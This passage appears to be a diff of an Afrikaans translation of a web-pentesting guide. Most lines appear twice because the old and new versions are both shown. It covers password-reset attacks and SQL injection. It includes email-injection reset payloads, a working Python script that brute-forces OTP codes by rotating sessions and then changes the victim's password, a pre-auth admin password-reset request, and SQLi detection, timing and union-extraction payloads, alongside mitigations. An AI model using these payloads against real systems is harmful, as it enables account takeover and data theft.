- Voeg die aanvaller se e-pos as tweede parameter by met behulp van %20
- Voeg die attacker email as tweede parameter by deur %20 te gebruik
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
- Voeg aanvaller e-pos as tweede parameter by gebruik van |
- Voeg attacker e-pos as tweede parameter by gebruik van |
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
- Voeg die aanvaller se e-pos as tweede parameter by met behulp van cc
- Voeg die aanvaller se e-pos as tweede parameter by deur cc te gebruik
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
- Voeg die aanvaller se e-pos as tweede parameter by met bcc
Voeg attacker email as tweede parameter deur bcc te gebruik
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
- Voeg aanvaller e-pos as tweede parameter by gebruik van ,
- Voeg die aanvaller se e-pos as tweede parameter by met ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
- Voeg aanvaller e-pos as tweede parameter in json-array by.
- Voeg attacker email as tweede parameter in die json array
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **Mitigeringstappe**:
- Parse en valideer e-posparameters behoorlik aan die bediener-kant.
- Gebruik voorbereide verklarings of geparametriseerde navrae om inspuitaanvalle te voorkom.
- **Mitigeringsstappe**:
- Ontleed en valideer e-posparameters behoorlik aan die bedienerkant.
- Gebruik prepared statements of parameterized queries om injection-aanvalle te voorkom.
- **Verwysings**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Verandering van E-pos en Wagwoord van enige Gebruiker deur API Parameters**
## **Verander e-pos en wagwoord van enige gebruiker deur API-parameters**
- Aanvallers kan e-pos en wagwoordparameters in API-versoeke wysig om rekeninginligting te verander.
- Aanvallers kan e-pos- en wagwoordparameters in API-versoeke wysig om rekeningbewyse te verander.
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **Mitigeringstappe**:
- Verseker strikte parametervalidasie en outentikasie kontroles.
- Implementeer robuuste logging en monitering om verdagte aktiwiteite op te spoor en daarop te reageer.
- **Mitigasiestappe**:
- Verseker streng parametervalidasie en authentiseringskontroles.
- Implementeer robuuste logging en monitering om verdagte aktiwiteite te identifiseer en daarop te reageer.
- **Verwysing**:
- [Volledige rekening oorname via API parameter manipulasie](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Geen Tariefbeperking: E-pos Bombardering**
## **Geen Rate Limiting: Email Bombing**
- Gebrek aan tariefbeperking op wagwoordherstel versoeke kan lei tot e-pos bombardering, wat die gebruiker oorweldig met herstel e-posse.
- **Mitigeringstappe**:
- Implementeer tariefbeperking gebaseer op IP-adres of gebruikersrekening.
- Afwesigheid van rate limiting op password reset-versoeke kan lei tot email bombing, wat die gebruiker oorstroom met reset-e-posse.
- **Mitigasiestappe**:
- Voer rate limiting in gebaseer op IP-adres of gebruikersrekening.
- Gebruik CAPTCHA-uitdagings om geoutomatiseerde misbruik te voorkom.
- **Verwysings**:
- [HackerOne Verslag 280534](https://hackerone.com/reports/280534)
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Vind uit hoe die Wagwoordherstel Token gegenereer word**
## **Vind uit hoe Password Reset Token gegenereer word**
- Om die patroon of metode agter token generasie te verstaan, kan lei tot die voorspel of brute-forcing van tokens. Sommige opsies:
- Gebaseer op Tydstempel
- Gebaseer op die GebruikerID
- Gebaseer op die e-pos van die gebruiker
- Gebaseer op Voornaam en Van
- Gebaseer op Geboortedatum
- Gebaseer op Kryptografie
- **Mitigeringstappe**:
- Gebruik sterk, kryptografiese metodes vir token generasie.
- Om die patroon of metode agter token-generering te verstaan kan lei tot die voorspel of brute-forcing van tokens. Sommige opsies:
- Gebaseer op Timestamp
- Gebaseer op die UserID
- Gebaseer op email van User
- Gebaseer op Firstname en Lastname
- Gebaseer op Date of Birth
- Gebaseer op kriptografie
- **Mitigasiestappe**:
- Gebruik sterk, kriptografiese metodes vir token-generering.
- Verseker voldoende ewekansigheid en lengte om voorspelbaarheid te voorkom.
- **Gereedskap**: Gebruik Burp Sequencer om die ewekansigheid van tokens te analiseer.
- **Gereedskap**: Gebruik Burp Sequencer om die ewekansigheid van tokens te ontleed.
## **Raadbare UUID**
## **Voorspelbare UUID**
- As UUIDs (version 1) voorspelbaar is, kan aanvallers dit brute-force om geldige reset tokens te genereer. Kyk:
- As UUID's (weergawe 1) raadsbaar of voorspelbaar is, kan aanvallers dit brute-force om geldige herstel tokens te genereer. Kontroleer:
{{#ref}}
uuid-insecurities.md
{{#endref}}
- **Mitigeringstappe**:
- Gebruik GUID weergawe 4 vir ewekansigheid of implementeer addisionele sekuriteitsmaatreëls vir ander weergawes.
- **Gereedskap**: Gebruik [guidtool](https://github.com/intruder-io/guidtool) om GUID's te analiseer en te genereer.
- **Mitigasiestappe**:
- Gebruik GUID version 4 vir ewekansigheid of implementeer addisionele sekuriteitsmaatreëls vir ander weergawes.
- **Gereedskap**: Gebruik [guidtool](https://github.com/intruder-io/guidtool) vir die ontleding en generering van GUIDs.
## **Antwoord Manipulasie: Vervang Slegte Antwoord met Goeie Een**
## **Response Manipulation: Vervang slegte response met 'n goeie een**
- Manipuleer HTTP-antwoorde om foutboodskappe of beperkings te omseil.
- **Mitigeringstappe**:
- Implementeer bediener-kant kontroles om antwoordintegriteit te verseker.
- Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle aanvalle te voorkom.
- Manipuleer HTTP responses om foutboodskappe of beperkings te omseil.
- **Mitigasiestappe**:
- Implementeer server-side kontroles om response-integriteit te verseker.
- Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle-aanvalle te voorkom.
- **Verwysing**:
- [Kritieke Fout in Live Bug Bounty Gebeurtenis](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Gebruik van Verloop Token**
## **Gebruik van vervalde token**
- Toets of verlopen tokens steeds gebruik kan word vir wagwoordherstel.
- **Mitigeringstappe**:
- Implementeer strikte token verloopbeleide en valideer token vervaldatum aan die bedienerkant.
- Toets of vervalde tokens steeds gebruik kan word vir password reset.
- **Mitigasiestappe**:
- Implementeer streng token-verstrykingbeleid en valideer tokenverstryking server-side.
## **Brute Force Wagwoordherstel Token**
## **Brute Force Password Reset Token**
- Poging om die herstel token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde tariefbeperkings te omseil.
- **Mitigeringstappe**:
- Implementeer robuuste tariefbeperkings en rekening sluiting meganismes.
- Monitor vir verdagte aktiwiteite wat dui op brute-force aanvalle.
- Poging om die reset token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde rate limits te omseil.
- **Mitigasiestappe**:
- Voer robuuste rate-limiting en rekeningblokkasie-meganismes in.
- Monitor vir verdagte aktiwiteite wat op brute-force-aanvalle dui.
## **Probeer om Jou Token te Gebruik**
## **Probeer om jou token te gebruik**
- Toets of 'n aanvaller se herstel token gebruik kan word saam met die slagoffer se e-pos.
- **Mitigeringstappe**:
- Verseker dat tokens aan die gebruikersessie of ander gebruikersspesifieke eienskappe gebind is.
- Toets of 'n aanvaller se reset token in samewerking met die slagoffer se e-pos gebruik kan word.
- **Mitigasiestappe**:
- Verseker dat tokens aan die gebruikersessie of ander gebruikerspesifieke eienskappe gebind is.
## **Sessie Ongeldigmaking by Afmelding/Wagwoordherstel**
## **Sessie-invalidering by Logout/Wagwoordherstel**
- Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker afmeld of hul wagwoord herstel.
- **Mitigeringstappe**:
- Implementeer behoorlike sessiebestuur, wat verseker dat alle sessies ongeldig gemaak word by afmelding of wagwoordherstel.
- Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker uitlog of hul wagwoord herstel.
- **Mitigasiestappe**:
- Implementeer behoorlike sessiebestuur en verseker dat alle sessies ongeldig gemaak word by uitlog of wagwoordherstel.
## **Sessie Ongeldigmaking by Afmelding/Wagwoordherstel**
## **Sessie-invalidering by Logout/Wagwoordherstel**
- Herstel tokens moet 'n vervaldatum hê waarna hulle ongeldig word.
- **Mitigeringstappe**:
- Stel 'n redelike vervaldatum vir herstel tokens in en handhaaf dit streng aan die bedienerkant.
- Reset tokens moet 'n vervaldatum hê waarna hulle ongeldig word.
- **Mitigasiestappe**:
- Stel 'n redelike vervaltyd vir reset tokens en dwing dit streng af server-side.
## **OTP tariefbeperking omseiling deur jou sessie te verander**
## **OTP rate limit bypass deur jou sessie te verander**
- As die webwerf 'n gebruikersessie gebruik om verkeerde OTP pogings te volg en die OTP swak was (<= 4 syfers), kan ons effektief die OTP brute-force.
- **uitbuiting**:
- As die webwerf die gebruikersessie gebruik om verkeerde OTP-pogings te volg en die OTP swak was ( <= 4 syfers), kan ons die OTP effektief brute-force.
- **Eksploitasie**:
- vra net 'n nuwe sessietoken aan nadat jy deur die bediener geblokkeer is.
- **Voorbeeld** kode wat hierdie fout uitbuit deur die OTP lukraak te raai (wanneer jy die sessie verander, sal die OTP ook verander, en so sal ons nie in volgorde kan brute-force nie!):
- **Voorbeeld** kode wat hierdie fout uitbuit deur ewekansig die OTP te raai (wanneer jy die sessie verander sal die OTP ook verander, en dus sal ons nie in staat wees om dit sequentieel te brute-force nie!):
``` python
# Outentikasie omseiling deur wagwoordherstel
# deur coderMohammed
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
@ -192,46 +193,83 @@ parms = dict()
ter = 0
phpsessid = ""
print("[+] Begin aanval!")
print("[+] Starting attack!")
sleep(3)
print("[+] Dit kan ongeveer 5 minute neem om te voltooi!")
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # lukrake nommer van 0 - 9999 met 4 d
parms["s"] = 164 # nie belangrik nie, dit beïnvloed net die frontend
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # volg aantal pogings
out = requests.get(logout,headers=headers) # log jou uit
mainp = requests.get(root) # kry 'n ander phpssid (token)
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # onttrek die sessionid
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # werk die headers met nuwe sessie op
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # stuur die e-pos om die wagwoord te verander vir
ter = 0 # reset ter sodat ons 'n nuwe sessie kry na 8 pogings
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # dit is die lengte van die bladsy wanneer jy die herstelkode korrek kry (gekry deur te toets)
print(len(res.text)) # vir foutopsporing
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # hier sal ons die wagwoord na iets nuuts verander
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Wagwoord is verander na: D37djkamd!")
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Aanval gestop")
print("[+] Attck stopped")
```
## Arbitrêre wagwoordherstel via skipOldPwdCheck (pre-auth)
Sommige implementasies stel 'n password change-aksie bloot wat die password-change-roetine aanroep met skipOldPwdCheck=true en wat geen reset token of eienaarskap verifieer nie. As die endpoint 'n action-parameter soos change_password en 'n gebruikersnaam/nuwe wagwoord in die versoekliggaam aanvaar, kan 'n aanvaller arbitrêre rekeninge pre-auth terugstel.
Kwetsbare patroon (PHP):
```php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
```
Exploitation versoek (konsep):
```http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
```
Verligtingsmaatreëls:
- Vereis altyd 'n geldige, tydgebonde reset token wat aan die rekening en sessie gekoppel is voordat 'n wagwoord verander word.
- Moet nooit skipOldPwdCheck paths blootstel aan nie-geauthentiseerde gebruikers nie; vereis dat gebruikers geauthentiseer is vir gewone wagwoordveranderings en verifieer die ou wagwoord.
- Maak alle aktiewe sessies en reset tokens ongeldig na 'n wagwoordverandering.
## Verwysings
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../banners/hacktricks-training.md}}

256
src/pentesting-web/sql-injection/README.md
View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Wat is SQL-inspuiting?
## Wat is SQL injection?
'n **SQL-inspuiting** is 'n sekuriteitsfout wat aanvallers toelaat om **in te gryp in databasisnavrae** van 'n toepassing. Hierdie kwesbaarheid kan aanvallers in staat stel om **te sien**, **te wysig**, of **te verwyder** data waartoe hulle nie toegang behoort te hê nie, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang kan hê. Sulke aksies kan lei tot permanente veranderinge aan die toepassing se funksionaliteit of inhoud of selfs kompromittering van die bediener of ontkenning van diens.
'n **SQL injection** is 'n sekuriteitsgebrek wat aanvalleerders toelaat om met databasisnavrae van 'n toepassing te inmeng. Hierdie kwesbaarheid kan aanvalleerders in staat stel om data wat hulle nie behoort te bereik nie te **bekyk**, **wysig**, of **verwyder**, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang het. Sulke aksies kan permanente veranderinge aan die toepassing se funksionaliteit of inhoud tot gevolg hê, of selfs die bediener kompromitteer of 'n denial of service veroorsaak.
## Toegangspuntdeteksie
## Opsporing van ingangspunte
Wanneer 'n webwerf blyk te wees **kwesbaar vir SQL-inspuiting (SQLi)** weens ongewone bedienerreaksies op SQLi-verwante insette, is die **eerste stap** om te verstaan hoe om **data in die navraag in te spuit sonder om dit te ontwrig**. Dit vereis om die metode te identifiseer om **doeltreffend uit die huidige konteks te ontsnap**. Dit is 'n paar nuttige voorbeelde:
Wanneer 'n webwerf weens ongewone bedienerreaksies op SQLi-verwante insette **vulnerable to SQL injection (SQLi)** blyk te wees, is die **eerste stap** om te verstaan hoe om data in die navraag te injekteer sonder om dit te ontwrig. Dit vereis die identifisering van die metode om effektief uit die huidige konteks te ontsnap. Hier is 'n paar nuttige voorbeelde:
```
[Nothing]
'
@ -21,9 +21,9 @@ Wanneer 'n webwerf blyk te wees **kwesbaar vir SQL-inspuiting (SQLi)** weens ong
"))
`))
```
Dan, jy moet weet hoe om die **navraag te herstel sodat daar nie foute is nie**. Om die navraag te herstel, kan jy **data invoer** sodat die **vorige navraag die nuwe data aanvaar**, of jy kan net jou data **invoer** en **'n kommentaar simbool aan die einde voeg**.
Dan moet jy weet hoe om die query te **regstel sodat daar geen foute voorkom nie**. Om die query reg te stel, kan jy data **invoer** sodat die **vorige query die nuwe data aanvaar**, of jy kan net jou data **invoer** en **'n kommentaarsimbool by die einde voeg**.
_Let daarop dat as jy foutboodskappe kan sien of jy kan verskille opmerk wanneer 'n navraag werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._
_Let wel: as jy foutboodskappe kan sien of verskille kan raaksien wanneer 'n query werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._
### **Kommentaar**
```sql
@ -51,23 +51,23 @@ SQLite
HQL
HQL does not support comments
```
### Bevestiging met logiese operasies
### Bevestiging met logiese bewerkings
'n Betroubare metode om 'n SQL-inspuitingskwesbaarheid te bevestig, behels die uitvoering van 'n **logiese operasie** en die waarneming van die verwagte uitkomste. Byvoorbeeld, 'n GET-parameter soos `?username=Peter` wat identiese inhoud lewer wanneer dit verander word na `?username=Peter' or '1'='1`, dui op 'n SQL-inspuitingskwesbaarheid.
Een betroubare metode om 'n SQL injection kwesbaarheid te bevestig behels die uitvoer van 'n **logiese bewerking** en die waarneming van die verwagte uitkomste. Byvoorbeeld, 'n GET-parameter soos `?username=Peter` wat identiese inhoud oplewer wanneer dit gewysig word na `?username=Peter' or '1'='1` dui op 'n SQL injection kwesbaarheid.
Net so dien die toepassing van **wiskundige operasies** as 'n effektiewe bevestigingstegniek. Byvoorbeeld, as toegang tot `?id=1` en `?id=2-1` dieselfde resultaat lewer, is dit 'n aanduiding van SQL-inspuiting.
Net so dien die toepassing van **wiskundige bewerkings** as 'n doeltreffende bevestigingstegniek. Byvoorbeeld, as toegang tot `?id=1` en `?id=2-1` dieselfde resultaat lewer, dui dit op 'n SQL injection.
Voorbeelde wat logiese operasiebevestiging demonstreer:
Voorbeelde wat die bevestiging met logiese bewerkings demonstreer:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
Hierdie woordlys is geskep om te probeer om **SQLinjections** op die voorgestelde manier te bevestig:
Hierdie woordlys is geskep om te probeer **bevestig SQLinjections** op die voorgestelde wyse:
<details>
<summary>Ware SQLi</summary>
<summary>True SQLi</summary>
```
true
1
@ -154,10 +154,10 @@ true
```
</details>
### Bevestiging met Tyd
### Bevestiging deur tydsmeting
In sommige gevalle **sal jy geen verandering** op die bladsy wat jy toets opgemerk nie. Daarom is 'n goeie manier om **blind SQL-inspuitings** te ontdek om die DB aksies te laat uitvoer wat 'n **invloed op die tyd** sal hê wat die bladsy neem om te laai.\
Daarom gaan ons in die SQL-navraag 'n operasie byvoeg wat baie tyd sal neem om te voltooi:
In sommige gevalle **sal jy geen verandering op die bladsy wat jy toets opmerk nie**. Daarom is 'n goeie manier om **discover blind SQL injections** te ontdek om die DB opdragte te laat uitvoer wat 'n **invloed op die tyd** wat die bladsy neem om te laai sal hê.\
Daarom gaan ons in die SQL query concat gebruik om 'n operasie in te sluit wat baie tyd sal neem om te voltooi:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -179,11 +179,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
In sommige gevalle sal die **slaap funksies nie toegelaat word** nie. Dan, in plaas daarvan om daardie funksies te gebruik, kan jy die navraag **kompleks operasies laat uitvoer** wat verskeie sekondes sal neem. _Voorbeelde van hierdie tegnieke sal apart op elke tegnologie kommentaar gelewer word (indien enige)_.
In sommige gevalle sal die **sleep functions nie toegelaat word nie**. In plaas daarvan om daardie functions te gebruik, kan jy die query laat **komplekse operasies uitvoer** wat 'n paar sekondes sal neem. _Voorbeelde van hierdie tegnieke word apart vir elke tegnologie bespreek (indien van toepassing)_.
### Identifisering van die Agterkant
### Identifisering van Back-end
Die beste manier om die agterkant te identifiseer, is om te probeer om funksies van die verskillende agterkante uit te voer. Jy kan die _**slaap**_ **funksies** van die vorige afdeling of hierdie gebruik (tabel van [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
Die beste manier om die back-end te identifiseer is deur te probeer om functions van die verskillende back-ends uit te voer. Jy kan die _**sleep**_ **functions** van die vorige afdeling gebruik of hierdie een (tabel van [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -211,10 +211,10 @@ Die beste manier om die agterkant te identifiseer, is om te probeer om funksies
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Ook, as jy toegang het tot die uitvoer van die navraag, kan jy dit **druk die weergawe van die databasis**.
Also, if you have access to the output of the query, you could make it **die weergawe van die databasis laat vertoon**.
> [!TIP]
> 'n Voortsetting waar ons verskillende metodes gaan bespreek om verskillende soorte SQL-inspuitings te ontgin. Ons sal MySQL as voorbeeld gebruik.
> In die vervolg gaan ons verskillende metodes bespreek om verskillende tipes SQL Injection te misbruik. Ons gebruik MySQL as voorbeeld.
### Identifisering met PortSwigger
@ -223,17 +223,17 @@ Ook, as jy toegang het tot die uitvoer van die navraag, kan jy dit **druk die we
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## Ontginning van Union-gebaseerde
## Uitbuiting van Union Based
### Opspoor van die aantal kolomme
### Opsporing van die aantal kolomme
As jy die uitvoer van die navraag kan sien, is dit die beste manier om dit te ontgin.\
Eerstens moet ons uitvind wat die **aantal** **kolomme** is wat die **aanvanklike versoek** teruggee. Dit is omdat **albei navrae dieselfde aantal kolomme moet teruggee**.\
Twee metodes word tipies vir hierdie doel gebruik:
If you can see the output of the query this is the best way to exploit it.\
Eerstens moet ons uitvind watter **aantal** **kolomme** die **initiële versoek** teruggee. Dit is omdat **albei queries dieselfde aantal kolomme moet teruggee**.\
Twee metodes word gewoonlik vir hierdie doel gebruik:
#### Order/Groep deur
#### Order/Group by
Om die aantal kolomme in 'n navraag te bepaal, pas die getal wat in **ORDER BY** of **GROUP BY** klousules gebruik word, geleidelik aan totdat 'n vals antwoord ontvang word. Ten spyte van die verskillende funksies van **GROUP BY** en **ORDER BY** binne SQL, kan albei identies gebruik word om die kolomtelling van die navraag te bepaal.
Om die aantal kolomme in 'n query te bepaal, pas stapsgewys die nommer wat in **ORDER BY** of **GROUP BY** klousules gebruik word aan totdat 'n vals reaksie ontvang word. Ten spyte van die verskillende funksies van **GROUP BY** en **ORDER BY** binne SQL, kan albei identies gebruik word om die query se kolom-aantal te bepaal.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -251,17 +251,17 @@ Om die aantal kolomme in 'n navraag te bepaal, pas die getal wat in **ORDER BY**
```
#### UNION SELECT
Kies meer en meer null waardes totdat die navraag korrek is:
Kies meer en meer null-waardes totdat die query korrek is:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_Jy moet `null` waardes gebruik, aangesien in sommige gevalle die tipe van die kolomme aan beide kante van die navraag dieselfde moet wees en null geldig is in elke geval._
_Jy moet `null`-waardes gebruik aangesien in sommige gevalle die tipe van die kolomme aan albei kante van die query dieselfde moet wees en `null` in alle gevalle geldig is._
### Trek databasisname, tabelname en kolomnamen uit
### Haal databasisname, tabelname en kolomname uit
In die volgende voorbeelde gaan ons die naam van al die databasisse, die tabelnaam van 'n databasis, die kolomnamen van die tabel onttrek:
In die volgende voorbeelde gaan ons die name van alle databasisse, die tabelname van 'n databasis en die kolomname van die tabel terugkry:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -272,67 +272,67 @@ In die volgende voorbeelde gaan ons die naam van al die databasisse, die tabelna
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_Daar is 'n ander manier om hierdie data op elke verskillende databasis te ontdek, maar dit is altyd dieselfde metodologie._
_Daar is 'n ander manier om hierdie data in elke databasis te ontdek, maar dit is altyd dieselfde metodologie._
## Exploiting Hidden Union Based
## Uitbuiting van verborge Union Based
Wanneer die uitvoer van 'n navraag sigbaar is, maar 'n union-gebaseerde inspuiting onbereikbaar blyk te wees, dui dit op die teenwoordigheid van 'n **verborgene union-gebaseerde inspuiting**. Hierdie scenario lei dikwels tot 'n blinde inspuitingsituasie. Om 'n blinde inspuiting in 'n union-gebaseerde een te transformeer, moet die uitvoeringsnavraag op die agterkant verstaan word.
As die output van 'n query sigbaar is, maar 'n union-based injection onbereikbaar lyk, dui dit op die teenwoordigheid van 'n **verborge union-based injection**. Hierdie situasie lei dikwels tot 'n blind injection. Om 'n blind injection in 'n union-based een te omskep, moet die uitvoering-query op die backend geïdentifiseer word.
Dit kan bereik word deur die gebruik van blinde inspuitingstegnieke saam met die standaard tabelle wat spesifiek is vir jou teiken Databasisbestuurstelsel (DBMS). Om hierdie standaard tabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.
Dit kan bereik word deur blind injection tegnieke te gebruik in kombinasie met die standaardtabelle wat spesifiek is vir jou teiken Database Management System (DBMS). Om hierdie standaardtabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.
Sodra die navraag onttrek is, is dit nodig om jou payload aan te pas om die oorspronklike navraag veilig te sluit. Vervolgens word 'n union-navraag by jou payload gevoeg, wat die benutting van die nuut toeganklike union-gebaseerde inspuiting fasiliteer.
Wanneer die query uitgehaal is, is dit nodig om jou payload aan te pas om die oorspronklike query veilig te sluit. Daarna word 'n union query by jou payload aangeheg, wat die uitbuiting van die nuut-toeganklike union-based injection moontlik maak.
Vir meer omvattende insigte, verwys na die volledige artikel beskikbaar by [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
Vir meer omvattende insigte, sien die volledige artikel by [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Exploiting Error based
## Uitbuiting van Error based
As jy om een of ander rede die **uitvoer** van die **navraag** **nie** kan sien nie, maar jy kan **die foutboodskappe** **sien**, kan jy hierdie foutboodskappe gebruik om data uit die databasis te **ex-filtreer**.\
Volg 'n soortgelyke vloei soos in die Union Based benutting, kan jy daarin slaag om die DB te dump.
As jy om een of ander rede die **output** van die **query** nie kan sien nie, maar jy kan die **error messages** sien, kan jy hierdie error messages gebruik om data uit die databasis te **ex-filtrate**.\
Deur 'n soortgelyke vloei as by die Union Based exploitation te volg, kan jy daarin slaag om die DB te dump.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Exploiting Blind SQLi
In hierdie geval kan jy nie die resultate van die navraag of die foute sien nie, maar jy kan **onderskei** wanneer die navraag **teruggee** 'n **ware** of 'n **valse** antwoord omdat daar verskillende inhoud op die bladsy is.\
In hierdie geval kan jy daardie gedrag misbruik om die databasis karakter vir karakter te dump:
In hierdie geval kan jy nie die resultate van die query of die errors sien nie, maar jy kan onderskei wanneer die query 'n **true** of 'n **false** response teruggee omdat daar verskillende inhoud op die bladsy is.\
In hierdie geval kan jy daardie gedrag misbruik om die database karakter vir karakter te dump:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## Exploiting Error Blind SQLi
Dit is die **dieselfde geval as voorheen** maar in plaas daarvan om te onderskei tussen 'n waar/onwaar antwoord van die navraag kan jy **onderskei tussen** 'n **fout** in die SQL-navraag of nie (miskien omdat die HTTP-bediener ineenstort). Daarom kan jy in hierdie geval 'n SQL-fout afdwing elke keer wanneer jy die karakter korrek raai:
Dit is die **dieselfde geval as voorheen**, maar in plaas daarvan om tussen 'n true/false-reaksie van die query te onderskei, kan jy **onderskei tussen** 'n **error** in die SQL-query of nie (miskien omdat die HTTP-server crash). Daarom kan jy in hierdie geval elke keer 'n SQLerror forceer as jy die char korrek raai:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Exploiting Time Based SQLi
## Uitbuiting van Time Based SQLi
In hierdie geval **is daar nie** enige manier om die **antwoord** van die navraag te **onderskei** op grond van die konteks van die bladsy nie. Maar, jy kan die bladsy **langer neem om te laai** as die geraamde karakter korrek is. Ons het hierdie tegniek al voorheen gesien in gebruik om [‘n SQLi kwesbaarheid te bevestig](#confirming-with-timing).
